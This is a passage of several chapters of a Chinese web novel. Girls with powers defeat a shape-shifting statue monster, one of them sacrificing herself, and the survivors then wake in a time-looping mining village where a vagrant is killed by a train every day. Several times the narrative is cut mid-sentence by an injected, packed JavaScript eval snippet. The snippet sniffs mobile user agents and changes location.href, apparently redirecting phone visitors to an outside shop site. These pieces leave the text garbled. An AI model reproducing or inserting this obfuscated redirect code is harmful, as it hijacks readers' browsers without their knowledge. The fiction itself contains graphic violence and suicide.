赵月趴在唬子背上念叨:“如果在游戏里,我们应该能拿着游戏给这个BOSS修脚。然后它会倒地,我们能给它来一发处决啊!” 江临歌:“啥叫修脚?” 归霞:“你确定能让它倒地吗?” 孟书孔:“我们也没有那么强劲的武器啊?” 唬子:“嗷呜嗷呜。” 目前所有攻击只能依赖唬子,这雕像看着颜色青白像是一块石头,实则触感干软,更像是一块巨型的,风干许久的木乃伊。 唬子的爪子挠破雕像的脚后跟,被割裂开的血肉迸发出些许黑色的血液,随后伤口重新愈合,雕像不痛不痒。 唬子的攻击收效甚微,反而雕像越打越起劲儿。唬子和魂游玩家一样,到处滚啊跳啊,结果那BOSS就是迟迟不肯将攻击落下。非得等唬子不动了,它才把叉子砸下来。 还好唬子机敏,比雕像先一步闪开。 唬子就如此在雕像的脚边转悠。孟书孔扶着眼镜,察觉到石像的膝盖窝那块有一个冰蓝色的法阵,光芒绽放,甚至还是环形结构,很像一块靶子。 “归霞,你能用剑去捅那个法阵吗?”孟书孔压低姿态,生怕被唬子一个大跳甩下去。 “在我的视线中仅能看到一块大型的气焰,能否告诉我那法阵具体在何处?”归霞严肃询问。 “在那巨像的膝盖窝那里,法阵范围还挺大的,我猜要让你把它膝盖的关节给捅穿。” 归霞确认过位置之后,顺着雕像的小腿肚一步三跃往上,在接近膝盖窝的地方,她用宝剑对着法阵中央,用尽全力一捅。被刺中的地方竟然如喷泉一般迸发出血液,雕像应伤倒地,发出惨烈的呻吟。 孟书孔通过雕像发出的强烈的情绪,捕捉到一丝有关于它的记忆。这座雕像是由曾经死亡的人构筑而成,她们不甘心成为雕像的附庸品,一直渴望有人能将她们分离。 被归霞戳中的法阵解离,雕像的小腿从身上剥落。归霞的反应比雕像更快,她早已到另一只腿的膝盖处,用剑戳中一模一样的法阵。 遭遇小腿截肢的雕像自然无法以人形与归霞抗衡,它抛下钢叉,浑身扭曲成一个庞大的肉球,再重塑,钢叉也融入它的肉球中,一晃神的功夫,雕像化身为披着甲胄的矮人族。 蓝色的法阵位于它的后腰,被甲胄挡住。 知晓如何攻克这个难缠的家伙后,一切的战斗方式都变得有规划。矮人将钢叉都变为自己身上的盔甲,害怕又有人攻击它的弱点。 它的下半身是裸露的皮肤。唬子干脆用爪子嵌入雕像的身躯,一点点往它身上爬,矮人要将唬子从身上驱赶下来。唬子绕着圈爬上它身子,和一只难抓的蟑螂一样。 接近它后背法阵那块,唬子用脑袋拱起一小块凸起。江临歌拿着张玉莉带钉的棒子,钻进去,用带刺的那一端狠狠往法阵中间一剐。 但因深度不够,雕像还在抵抗。赵月启动能力,尝试能不能催眠巨像,巨像的动作明显变慢,却远远达不到沉睡的程度。 就这么一个变慢的功夫,江临歌早早准备了下一次的攻击。 后腰的法阵碎裂,矮人雕像痛苦嚎叫,它剥离自己的下半身,上半身又化身为肉球潜逃。 唬子追了上去。江临歌落入一堆烂肉泥中,被后来赶上的归霞刨出来。 剩余的肉球无法凝聚出人形,而是化作四脚朝地的哺乳动物。短嘴小眼,獠牙外凸,狰狞瘆人。 它的后颈有一片皮毛格外长,隐约能从中瞧见蓝色的冒着光芒的法阵。这只四脚兽与唬子平视时,依然比唬子高出半个头。 唬子并不惧怕四脚兽,反而愈战愈勇,犹如鬣狗对战狮子。唬子扑上四脚兽的前半身,死死咬住它厚实的脖颈肉不放。四脚兽仰天长啸,反扑回去,以近乎压倒性的力量反制唬子。 唬子扑腾着爪子,用上浑身的肌肉,死死紧绷在那儿。赵月和孟书孔见状,也没闲着。两个人趁着两只巨兽撕咬的间隙,抓着四脚兽的皮毛,往它的后背爬。四脚兽十分恐惧遭人发掘法阵的位置,浑身上下都铺满长长的兽毛。 赵月和孟书孔实战能力稍弱,终归是诡异事件生存下来的一员,区区抓着兽毛攀爬的能力还是有的。 方才杀小鬼的尖刀,她俩都拿了,到接近颈部的位置,毛发逐渐变短变粗。她们左右手各自拿着一把尖刀,学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283720|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着冰山的攀岩者那样,一刀一刀刺入四脚兽的皮肉中,向上攀爬。 察觉到颈部有人刺伤它,四脚兽近乎癫狂地抖动脖子,唬子见它方寸大乱,更是用力撕咬上四脚兽。四脚兽被逼到绝境,浑身的肌肉肉眼可见膨胀,一瞬间像是加了煤炭的火车,冒出滚滚白烟。 它的獠牙放大了数倍,一口咬住唬子,竟然直接将唬子的喉咙贯穿。归霞和江临歌距离唬子少说几百米的距离,赶都赶不过去。 “快爬,唬子要坚持不住了!”赵月催促孟书孔。 孟书孔手中刀刃的速度加快许多,她好不容易到达四脚兽的后背,将要伸手拉一把赵月时,四脚兽早已把唬子咬得奄奄一息。它用前爪挠了下脖子,赵月无处可躲,持着尖刀将自己的身体摔到四脚兽的前爪上。 四脚兽自然是看到赵月,毫不犹豫把赵月抛到天上。赵月更是在被抛飞前大喊:“孟书孔,快点去破坏法阵!” 归霞和江临歌目见赵月遭到丢置,立刻转换目标,江临歌去查看唬子,归霞尽可能用轻功去救下赵月。 孟书孔气急败坏,在茂密的兽毛中看见闪着微光的法阵。她压抑的情绪总算找到一个发泄口,举刀就往法阵的中央扎去。 第一下,四脚兽咆哮,第二下,四脚兽开始呻吟,第三下,四脚兽竟然开始在地上翻滚,妄图压死孟书孔。 唬子顾不得淌血的咽喉,它的气管被刺穿,发不出声音。仍然奋不顾身扑向四脚兽,制止住它的暴行。 第四下,四脚兽后颈的法阵碎裂。它的身躯坍塌,唯有它的头部未能消散,反而是悬浮在空中重新凝聚,变作一颗慈眉善目的佛面。 唬子再也没有力气爬起来,双眼逐渐失去光亮。孟书孔瘫倒在被抛弃的肉泥中,挣扎着要爬出来。 归霞和江临歌太慢了,也太弱了。 她们没法及时赶到帮助唬子,更没法面对悬浮于空中的佛面。佛面的额头中央,是蓝色的法阵,它面容慈悲,却能够将它所注视之物点燃熊熊火苗。 唬子重伤,赵月飞翔在空中生死未卜,孟书孔瘫软在烂泥中,江临歌和归霞要如何面对那颗悬浮的佛头,用棒子?用剑? 佛面转向江临歌,它用近乎怜悯的神情俯视。 忽然,佛面停摆了。在它的正上方,似乎有更高层次的东西控制她。 江临歌抬头,归霞也抬头。 那不是所谓的高维生命,更不是一些神秘人救场。 是赵月。 这佛面从最开始的巨像到矮人,再到四脚兽,它一次次放弃自己身体的部位,它实际上是在慢慢变弱,弱到赵月能够用能力控制住它。 现在这佛面仍然悬浮在空中距离地面数十米的高低,能够了结它的,只有从高空坠落而下的赵月。 赵月手里举着尖刀,无所畏惧坠落向那颗佛头。她若是坠落在佛头上自然能够破坏其额头的法阵,同样,她的身体也会因为巨大的冲击力粉身碎骨。 “赵月!”江临歌仰天长啸,她除了叫赵月的姓名,还能做什么? “不用管我!”赵月心意已决,无可阻挡。 “我一直以为我很弱,没有战斗力只能站在朋友的身后。雪芮死的时候,我只能在一旁看着。陈枫走的时候,我甚至还被归霞拎着逃跑。玉莉去世的时候,我甚至还没有临歌这个刚认识不久的人来得愤怒。” “我很愤怒,愤怒自己的无能,自己的弱小,请你们正视我的愤怒,也正视我必死无疑的结局。” “如果我们能够复活,那就由我自己来讲述我的故事。如果不能,那就请你们帮我铭记……” “有一个叫赵月的人,她和她的朋友一样勇敢坚强!” 赵月撞上佛面,刺破了蓝色的法阵。怪物爆发出一团黏糊炽热的血浆,包裹住赵月,包裹住这块地图的全部。 漆黑的阴影笼罩整片天空,似乎是地图摧毁的前兆。 江临歌的脚底闪现黑色的沼泽,没等她回神,她就被黑泥给吞噬,消失在原地。 冒险结束了。 候选者陈枫、张玉莉、李雪芮、赵月。 全灭。 15. 第十五章 江临歌以为自己死了。 她不相信“祂”会乖乖奖励通关地图的玩家,送给胜利者一个神级礼包或者一个金色传说级别的武器。事实证明,即便这个世界拥有异能恩赐以及莫名其妙的关卡,通关的“候选者”也不会得到任何奖励,而是会被送到一个更为诡异的地方继续战斗。 江临歌没有梦到任何东西。 她睁开眼,看到的是农村老家发黄发灰的石灰土墙。翻了个身,木制的床架咯吱作响,随后江临歌走下床。 地面甚至没有找平过,是老式的坑坑洼洼的泥地板。江临歌光着脚,踩上去冰冰凉凉的。 “林歌,睡醒了就来吃饭!”屋外传来一个女人的声音。 江临歌小跑出去,发现一个比她高许多的女人从厨房端出老式陶瓷碗,碗里是白粥,又端出一个咸菜碟。女人的相貌很温婉,约莫三十岁上下,招呼江临歌出来时,还不忘摸摸她的头。 饭桌脚边上坐着一只肉墩墩的四眼铁包金幼崽,小狗看到江临歌出来,用脖子蹭江临歌光着的小脚丫。 农村的餐桌正对大门,路过的村民能瞧见主人家在吃饭还是打扫。 “林婉呀,又带林歌吃白粥?你家男人呢,怎么不留下来帮你一起带孩子?男人出去能挣几个钱,还不如留在村里当煤老板。咱们村可是难得一遇的煤矿村,每年政府拨款都花不完,真想不明白你家男人要出去闯荡的心态。” “现在倒好,你又不太会烧菜,这小姑娘跟你也算是苦了。” 来者是住在对面的郭大姨,她一直都是五大三粗的,是这村头最壮实的女人。 林婉一副无所谓的表情,挖苦:“他不过是孩子的父亲,回他娘家给她姐带孩子吧。我林家生得少,只有林歌一个独生女,金贵着呢。” 郭大姨没管林婉,继续绕到别家唠嗑。江临歌默默把粥喝完,她许久没吃到正常的食物,哪怕是最简单的白粥配咸菜,别有一番风味。 从刚才的对话,江临歌大致推测出来,她现在附身在一个叫“林歌”的女孩身上,背景是个带煤矿的山村,但是得到政府关注拨款,大概率不算太偏僻。父亲外出不知道干啥去,母亲林婉独自照顾林歌。 “林歌,吃完饭记得把唬子抱出去,免得在屋内拉屎拉尿。”林婉一边收拾吃光的空碗,一边吩咐江临歌。 唬子? 江临歌低头,抱起那只肉团子,左看看右看看,似乎真是那只巨无霸唬子的幼年体。 “唬子,你认得我吗?我是江临歌。” 小肉团没回应,张嘴打了个哈欠昏昏欲睡。江临歌没招,把唬子抓在怀里走到院子上。她光着脚,发现院子里有晒着的草鞋,于是薅了双最小的穿上。 刚出院子,住在对面的郭老太扑腾着扇子和她搭话——她是郭大姨的妈妈。 “林歌,今天也来找郭鑫玩吗?”郭老太说完,扭头朝房子里头喊,“鑫儿,林歌来找你了!” 这老头看上去七老八十,喊起话来中气十足,让她给人的印象又年轻几分。 郭鑫也是一小女孩,掐着嗓应道:“不了姥姥,我要写作业。” 江临歌没强求,朝老太太笑一笑继续往外头走。村头有一铁路口,大人们不让孩子去耍,因为每天火车都会来来回回运煤好几次。有些孩子会为了赚点零花钱,故意去铁轨边上捡掉下来的煤渣,拿到对面镇子去换钱,全给自己花。 走到铁路口边缘,江临歌才看到这山村的全貌。这是一座湖心岛山,周围的一圈全是水源,通往陆地的桥梁是人工建造的,总共有两座桥。一座专门留给铁路,蒸汽火车每日来来回回将煤矿送出岛屿。另外一条则是人行道与车行道混合的桥梁,建造得挺雅致。桥底的还有流浪汉睡觉。 江临歌蹲在铁路旁,抱着睡着的唬子不知如何是好。 流浪汉的边上忽然出现一群小屁孩,为首的那个留着鸡窝头,一身衣服脏兮兮的,破旧倒是不破旧,更像是被她玩脏的。 这个年龄段的女孩普遍长得比男孩大个儿,那鸡窝头应当是这群孩子头头。 很老生常谈的戏码,村里的熊孩子拿石头丢桥底的流浪汉,看到流浪汉被砸到抱头呻吟,她们也只是笑嘻嘻地往家里跑。 跑时她们经过江临歌面前,鸡窝头问身边一小跟班男孩:“她谁啊?” “林歌啊,就那个家里男人逃出去的那一户。” 鸡窝头“哦”了声,张牙舞爪在江临歌面前展露大姐大风范。 “你这家伙不认识我吗?我可是方圆百里的老大刘二娃,早听说你爸在外头又卖鸡眼儿又卖菊眼,真脏啊,听说这种男人的女儿都是懦妇。” 江临歌翻了刘二娃一个白眼,没理她,抱着唬子准备回家。 刘二娃气不打一处来,举起她的拳头就要揍人。江临歌眼疾脚快,手里还抱着唬子,蹲下身一个扫堂腿把刘二娃放倒。刘二娃一屁股摔了个底朝天,身后的小伙伴纷纷围上去帮扶刘二娃,却无一人敢上前挑战江临歌。 江临歌头也不回走回自家院子,把唬子放在门槛前边,自己跨进来,恰逢母亲林婉穿着个围裙出来。 “干啥去了?”林婉问她。 江临歌想了想,道:“在村里转了转,我瞧见桥下那流浪汉挺可怜的,许多孩子还拿石头砸他。” “哎,那群造孽的!”林婉骂了一声,扭头去屋子里拿来一碗大白馒头。馒头放了有些时间,最上面那一个都发皱萎缩了。 “这是咱家前些天剩下的馒头,吃不完怕浪费,你拿去给那流浪汉吃吧。” 江临歌接过林婉给的馒头,又听林婉絮絮叨叨说:“那流浪汉是村里疯掉的傻子,平常就住桥洞底下,谁家有余粮,谁拿去喂。” 难怪被孩子砸中后不生气,只会呜呜哇哇怪叫。 江临歌遵从母亲的吩咐,带着馒头去喂流浪汉。出门时,她依然没忘记唬子,把狗崽抱在手里,双手一颠一颠地走到桥洞那儿。 看到有一个小孩来,流浪汉先是露出惊奇的表情,又瞧见江临歌和其他孩子不同,是来施舍食物的。 “我妈说,你是村头的傻子。谁家有余粮,谁家投喂。”江临歌把馒头递给流浪汉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对面的铁道桥梁穿来火车的鸣笛声,江临歌瞅了眼,绿皮火车,还冒着蒸汽。她看到流浪汉躺在轨道上,视死如归,在江临歌震惊的眼神中,流浪汉被火车腰斩,半边身体飞了出来,掉在岸边。 江临歌慌忙跑过去,走到岸边,放下唬子。飞出来的是下半身,上半身估计早就掉到水里去。 唬子睡了一整天,睡饱了之后看到一大块血淋淋的尸体,上前啃了两口。江临歌嫌脏,赶忙把唬子抱走。 她杀过不少人,因而见到尸体时,她并不是脸色苍白,而是紧锁眉头。 太奇怪了。她想不到流浪汉自杀的原因,难不成是她觉得在这个世界都没有活下去的希望了? 可那名女士看起来心思善良,明明答应过江临歌第二天再见,就算自寻短见,也不至于那么快就对自己狠心吧? 江临歌回到家,林婉给她准备了晚餐。晚餐还是白粥,江临歌随便对付两口,她妈让她回去睡觉。 唬子放在她的床边,江临歌确认再三才敢闭眼入睡。 希望第二天,能有新的突破。江临歌心想。 16. 第十六章 同样的新一天。江临歌从床上睡醒,林婉在屋外喊她出去吃饭,坐在门口边喝粥边吃咸菜,对面的郭大姨又来挖苦林婉,和昨天一模一样的话。 江临歌想到昨天流浪汉惨死的画面,心有不甘。想去找昨日她穿过的草鞋,发现那双草鞋又被拿到院子去晒。 照旧把唬子抱在怀里,江临歌走出大门,对面的郭老太问她找不找郭鑫。郭鑫这回没说去写作业,而是小跑着出来,站在江临歌面前。 郭鑫是个瘦高的女孩儿,小眼睛小嘴,尖下巴。 “临歌?”郭鑫叫江临歌的名字。江临歌没反应过来。 “你,江临歌,她,唬子。”郭鑫重复了一遍话语,用手指依次指着目标对象,最后指向自己,“我,归霞。” 江临歌瞪大双眼。 “你也进来了?”对上信息,江临歌彷佛见到家人一般庆幸。 归霞颔首,接着说:“我附身在这个名为郭鑫的小女孩身上,应该是将我们的意识塞入她们的躯壳中。昨日,我第一次看见这个世界本来的样貌,以为自己在做梦,因而不敢贸然与你相见。” “等你走开后,我独自一人前往村后的矿山,稍微练习了一下身手。发现这世界比你的梦好些,我能够使用轻功与气功。” 江临歌把唬子顶在头上,发现这小狗崽还挺聪明,知道拿臂弯勾着,不让自己掉下来。 “唬子没有回应我。我想这里或许是它过去的记忆世界,她在被‘母体’重伤后,用最后的意志将我们都吞噬了。” “昨天我见到了其他‘候选者’,原本约定今日再见,没想到那人竟然卧轨自杀,被火车拦腰折断。” 江临歌大致说明了自己的经历,又问归霞:“后山那块有没有活人?” “有一块墓地,里头站着个守墓人,是个老头,脾气很差。其他的我并没注意到。”归霞回应。 “那我们去大陆的镇子,如果你能够进来,我猜孟书孔大概率也在这儿。镇子那一块人比较多,她或许就混在其中。” 两个人一拍即合,小跑着往镇子走。中途又遇到刘二娃和她的一群跟屁虫,刘二娃不怀好意地拦住归霞和江临歌,嚷嚷:“你们俩是谁,这是我的地盘,不准过去!” 江临歌告诉归霞:“她是这一块的熊孩子,不用心软,给她一拳让她长长记性。” 不用江临歌说,归霞早已准备好她的铁拳,一拳打在刘二娃的肚子上。刘二娃疼的摔在地上打滚,两个人抛下刘二娃扬长而去。 路过那座桥洞,江临歌又看到流浪汉坐在桥底下。她怀疑自己眼睛出问题了,停在那儿反复端详,发现就是昨天和她讲话的流浪汉。 “奇怪,我昨天分明看到她被火车给轧死。”江临歌招呼归霞下桥洞找流浪汉,她抱着唬子走近,发现今天的流浪汉神情会更愁苦些。 “我昨天和你约定过,今天在同一个地方等你。”江临歌神情镇定地站在流浪汉面前,“你能和我解释一下昨天你为什么死了吗?” 一阵狂风席卷而来,流浪汉猛地暴起,伸手掐住江临歌的脖子。江临歌没有防备,被流浪汉压倒,呼吸越发困难。 “是你,是你把我变成这副模样。我想活了,我不想死,更不想待在这里!”流浪汉尖啸。 归霞见状气沉丹田,手中顿然凝聚出一团乱流,一掌拍飞流浪汉。 江临歌大喘着气,回头去看那流浪汉,已经跌在地上昏倒。归霞手下留情了些,没用全力。 “她怎么忽然疯了?”江临歌紧锁着眉头,不可置信。 她俩的身后传来刘二娃的声音。 “因为他不是你昨天遇到的人。” 江临歌和归霞震惊扭头。刘二娃还是那副脏兮兮的鸡窝头造型,表情沉稳一点,讲话有条理起来。 “看你们的样子,应该也是从另一个世界来的。”刘二娃走近拍了拍江临歌的肩膀,用饱含同情的目光道,“都是和我一样在那边的世界死掉的倒霉蛋。” 江临歌瞪了刘二娃一眼。刘二娃冷汗直流,她又清了清嗓子,认真道:“我就是一个赌气离家出走的精神小妹,本来骑着鬼火上镇子上买点烟。结果被一辆大卡车给撞飞了,醒来我就成刘二娃。” “最开始,我也和你们一样到处探索。直到我看到流浪汉死后,又在第二天看到了一模一样的流浪汉。” “后来我才慢慢发现,不是流浪汉死而复生,是我们的生活被重置了。你们想想,你们今天早上遇到的情况,是不是和昨天一模一样?” 江临歌和归霞对视一眼,点头。 刘二娃继续说:“我后面自己发现了一些门道。循环的结束是以流浪汉的死亡为锚点,每天的结尾都是流浪汉被火车碾死,然后下一轮循环流浪汉又会变成一个新的人。” “你说这稀奇不稀奇,本来流浪汉就是另外一个世界自杀的人,让他们变成流浪汉再死一次为了什么?总不能是一定要死一个人才能保持循环吧?” 江临歌和归霞默然。依靠“候选者”死亡的回溯,她们经历过两次,也就是说唬子和母体在濒死的一瞬,或许产生了某种链接。 “你在这边多久了?”江临歌问刘二娃。 刘二娃歪头:“不太清楚,少说循环了个一百多次吧,后边我实在是没办法,天天盼着有其他人进来。” 说明这个世界早在唬子和母体同归于尽之前就存在。江临歌越想越不对劲,她需要更多的线索。 江临歌和归霞把刘二娃拖到镇子上,问她:“你看这群人之中,有哪个人和你记忆中不一样?” 刘二娃扫视了一圈,指了指坐在那儿酣睡的街头画家。 “她平常应该毕恭毕敬地等待每一个客人,不会像现在这样悠哉游哉靠在那儿睡觉。” 江临歌毫不犹豫上去,喊了句:“孟书孔。” 孟书孔睁眼,她附身在一个街头画家身上,也是一头乱糟糟的头发。看到与江临歌有六七分相似的小女孩,她下意识回应:“临歌?” “对的对的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谁信啊。江临歌翻了他一个白眼,恰逢此时对面的铁轨桥行驶而过一辆火车,给大哥吓得直哆嗦。 归霞从火车上跳下来,顺着岸边小跳几下,来到人行桥的下方。 “我爬上火车,从车厢往前探索,我发现驾驶室内的人都已经不是人了。”归霞神色复杂。 “他们似乎都已经死了。列车长和车员像是被人架起来的人偶,在驾驶舱内有好多肉眼几乎看不见的丝线挂着他们,让他们近乎扭曲着身躯去操纵火车。最令人难以相信的是,他们早已失去了生命的特征。” “我感知不到他们的气焰。” “我后边也潜伏到了矿洞中,压根没有矿洞的工人去补充煤矿到火车上。只有那个守墓人老头,他看到火车行驶时烧掉了煤炭会补一点,其余时刻火车都是拉着满的煤炭去镇子。镇子里也没人卸下那些煤炭,而是又让火车拉着满的煤炭去矿洞。” “这辆火车它压根就不是运输煤炭的。” 17. 第十七章 中午,江临歌回了趟家,她上午跑了好远,饿了。林婉坐在门口编草鞋,问她:“你去哪里了?” “和郭鑫去镇子上玩了会儿。” 林婉淡淡道:“桌上的馒头别吃,放好几天了。你去锅里挖新蒸好的米,咸菜在缸里,自己捞点。” 江临歌去厨房捞了一大锅饭,夹了点咸菜放碗里。她看到厨房的窗户那儿挂着腊肉,心想晚上和林婉提议要吃肉她会答应吗? 江临歌端着碗,坐在门槛上吃饭。她扒拉一口饭吞下去:“妈,咱们村那辆绿皮火车是谁负责运输的?怎么一天到晚都呜呜呜响个不停。” “我咋知道。政府牵头的呗,反正上头给我们发钱,给我们办事,比我们自己挖煤过得滋润多了。你可别去学别人家的孩子,又不是家里穷得揭不开锅,用得着去铁路边捡煤块吗?” 林婉编织好一双草鞋放下,同江临歌说:“待会儿吃完饭,你把那馒头给桥下的流浪汉送去,反正咱们也不吃,别浪费了。” 林婉这副NPC的姿态让江临歌捞不到任何有用的线索,她默默吃完了碗里的饭,把空碗放在餐桌上。 归霞和刘二娃都能回各自的家吃饭,孟书孔口袋里有些闲钱,去镇子上买了点吃的。唯独那流浪汉只能饿肚子,江临歌拿着馒头给流浪汉送去。 吃了碳水,原本情绪崩溃的流浪汉冷静下来。他幡然醒悟觉得自己自杀后没死,应是上天冥冥之中的指引,他不想放弃这次重来的机会。 她们聚在一块商量接下来去哪儿,最终决定去煤矿洞里看一看。流浪汉被松绑,也是为了重启人生和她们一块去。 她们顺着铁路一路往山里走去,进了矿洞,大约有个几十米的隧道。隧道内用电线拉着灯泡,好让人看到路。除了留给火车开的主路,在干道上又延伸出几条供人走的小隧道,也许是紧急逃生道路吧。 她们走到隧道的尽头,依然没遇到一个人。尽头左侧延伸出一个供一人进出的小路,能看到一点亮光,想来是直通地表的。 害怕等会儿火车开过来撞到人,她们站在铁道的两侧观察。正如她们所担心的,刚站好,就隐约听见火车在铁轨上行驶的嗡嗡声。 她们躲在隧道的暗处。火车平稳停靠,并未马上返程,似乎是在等什么人。流浪汉和刘二娃找寻线索心切,一前一后爬上货箱,孟书孔看俩二货会惹出什么麻烦,也跟着爬进去。大约几分钟后,一名干瘦的老头从细窄的人行隧道走进来。往车后添加了些煤炭,吆喝一声,火车缓缓启动又向城镇驶去。 老头又退出矿洞,往地面爬。江临歌和归霞互相使了个眼色,她们悄悄跟上老头,爬出矿洞。人工隧道通往墓园,老头这会儿坐在一块墓碑的边上,不知在做什么。 江临歌扫了眼,惊奇地发现,每块墓碑的贡品都是大白馒头。用来盛放的碗与林婉让她拿给流浪汉的碗是同一类型。 正当江临歌纳闷之际,十几米外出现的一个人影加重了她的疑虑。林婉手提竹篮,神色木讷地来到墓园。 “今天来得有些迟,馒头送出去了吧?”老头抽烟斗,吐出烟雾。 林婉来到比较里边的墓碑,将一碗馒头放入篮子中:“我让林歌送去了,最近馒头长势不错。” 老头点头,喃喃:“明天还来吗?” 林婉没理会老头,头也不回地离开墓园。走出五六米,她回头,露出半张侧脸:“也许吧,我希望真的有明天。” 江临歌皱眉。 我希望真的有明天? 大部分NPC可不会意识到这是循环——除非,林婉也是候选者。 江临歌和归霞慌忙退回矿洞,飞速往家内赶。林婉走的是普通的山路,比江临歌从矿洞出来还快些到家。母亲瞧见女儿从矿洞里出来,拦下她,问她干嘛去了。 “你为什么要去墓园拿馒头?”江临歌顶着双清澈的双眼问。 归霞都要被她这副天真无邪的样子骗过去。 “那墓园的馒头本来就是村里人悼念去世的亲人放置的,总有些贪小便宜的人喜欢去偷拿,因此才安排一名守墓人。守墓人心善,看到食物浪费就会让我帮忙去拿给穷苦之人。” “因为我们家只有我们俩母女,口粮只多不少,不贪这点便宜,他放心交给我。” 林婉又露出温婉的笑容,好似就住在这世界,是个关爱女儿的好母亲。 “以后别老钻矿洞,你看你的脸又脏了,你也想像刘二娃那样穿着脏兮兮的衣服吗?我可没那么多功夫帮你洗。”林婉嘴上说得难听,却又从口袋里掏出一条手帕,让江临歌擦擦脸。 江临歌没接手,而是扭头拉着归霞往镇子上跑。 火车行驶了一段距离,此刻恰巧在岛屿与大陆交界的桥梁上。江临歌遥遥望去,列车长竟与流浪汉扭打起来。 如果真的能叫它列车长的话。 它的脸部彻底腐烂,布上一层细细的丝线,人体呈现不自然的扭曲。就像是丝线驱使着它去行动。列车长掐住流浪汉的脖子,力气竟然出奇得大,将流浪汉自车内抛出,丢在火车前方的轨道上。 不等流浪汉回神,他便被火车拦腰截断。 刘二娃和孟书孔对视一眼,立即决定跳车求生。两个人从桥上跳到水里,归霞轻功越步而去,把两人从水里捞出来。 “他还是死了,我们又要进入循环!”刘二娃懊恼地抱头。 江临歌不死心,抱着唬子就去找流浪汉的半截身体。唬子睡了一天也该睡醒了,闻到新鲜的肉味,刚把它放地上就开始啃。 江临歌把唬子抱走。 “怎么办?”刘二娃跟上来,看到流浪汉的尸体面色惶恐,“我们又要再循环一次吗?不对,再循环一次也行,你们看到车上那个怪物没有,为什么它全身都腐烂了还能攻击人?我们难道要和那种东西战斗吗?” “我猜应该就是要毁掉那辆车。”孟书孔结合之前的战斗经验判断,“每次切换场景,都会放置一些机制特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘二娃说:“我试过了已经,每天过零点之后,我就会莫名其妙昏迷,再睁开眼,就回到自家床上。” “那我们今晚也不能回家。”江临歌直接表态,把流浪汉的下半身推到水里,自顾自坐在桥底下。 刘二娃困惑道:“留在这里干嘛?” “记录火车来回的时长,包括多久通过桥梁。”江临歌又在酝酿什么点子,“我在想能不能搞点炸药,把桥和火车都炸了。” “我们有钱去买火药吗?就算自己做,也需要不少原材料吧?”孟书孔她认为江临歌的策略可行,却在实行时犯了难。 “对啊,我们没钱。”江临歌微微一笑,“所以半夜才不回家在桥洞底下过夜。” “镇子上的店铺半夜都关门了吧?我们要不作为客人去那些店铺里瞧一瞧?” 江临歌在诡异世界活下去可谓是不择手段又偷又抢。 18. 第十八章 江临歌又醒了。 她照旧起床,听见林婉在厨房喊她吃饭,爬下床去餐厅喝粥。昨日零点前,她们去扫劫了镇子的店铺。镇子的背景是偏西方,甚至混杂了一些美国西部的文化元素,简而言之,武器厂商比她们想象中好找许多。 她们也统计了火车来回一趟大概需要四十分钟,穿过桥梁的世界大约为两分钟。接下来就是在下一轮循环中,看看是否能有新的突破。 林婉依旧保持NPC的作态,和路过的郭大姨斗嘴,接着让江临歌把唬子抱出去。 江临歌照做不误,把唬子放在头顶,换上草鞋走到院子里,对面郭老太又问她找不找郭鑫。 归霞看到江临歌出来,两人到院子里碰头,随后躲在院子后头的狗窝里。林婉她平日的生活动向比较特殊,再看到江临歌出门之后,她拎着个篮子慢慢悠悠地往后山走去。 江临歌和归霞对视一眼,紧接着悄悄跟踪上。 后山的路她们昨日走过,随着走的时间越长,她们辨认出这是前往墓园的道路。江临歌推测,她早上去墓园也是为了拿一碗馒头,中午江临歌回家,让江临歌递给流浪汉。 正当她们以为要前往墓园时,林婉走的方向一变,转而拐到另一处很隐秘的地下隧道路口。她推开阻挡的安全栅栏,钻了进去。江临歌和归霞毫不犹豫跟上。 林婉进入的并非终点线的安全隧道,在矿洞主干道的中间段。恰巧位于一盏电灯泡下方,视线相对来说清晰。 “你们不用躲了,我早料到你会跟踪我。”林婉的声音降调几个度,像是换了一个人。 江临歌示意归霞藏好。林婉说的是“你”,说明她并不是真的发现,而是自己推测。正巧江临歌想要与林婉好好说说话,以候选者的身份。 她走到林婉面前,露出孩童不该有的沉稳。她头顶的唬子象征性打了个哈欠。 “哎呀,平常的女儿可是很听话的。从来不会用眼睛凶巴巴地瞪着老母亲。”林婉用手摸着侧脸,笑得有些阴恻恻。 林婉将手中的篮子一丢,近乎是一瞬间扑上江临歌,紧紧拥抱住她。 “这么久了,没有想到,没有想到我遇到的下一个同类竟然是我的女儿。”她的笑声逐渐凄厉,说话的语调跟着刺耳。 “你知道吗,林歌,我来到这个世界很久了。我每天都要面对无趣的女儿,干着去喂流浪汉的活儿。因为我所扮演的人物有一段禁制的束缚,我如果不按照固定的轨迹生活,我会被无端的黑暗吞噬,让我的大脑里像是被蚂蚁啃咬。” 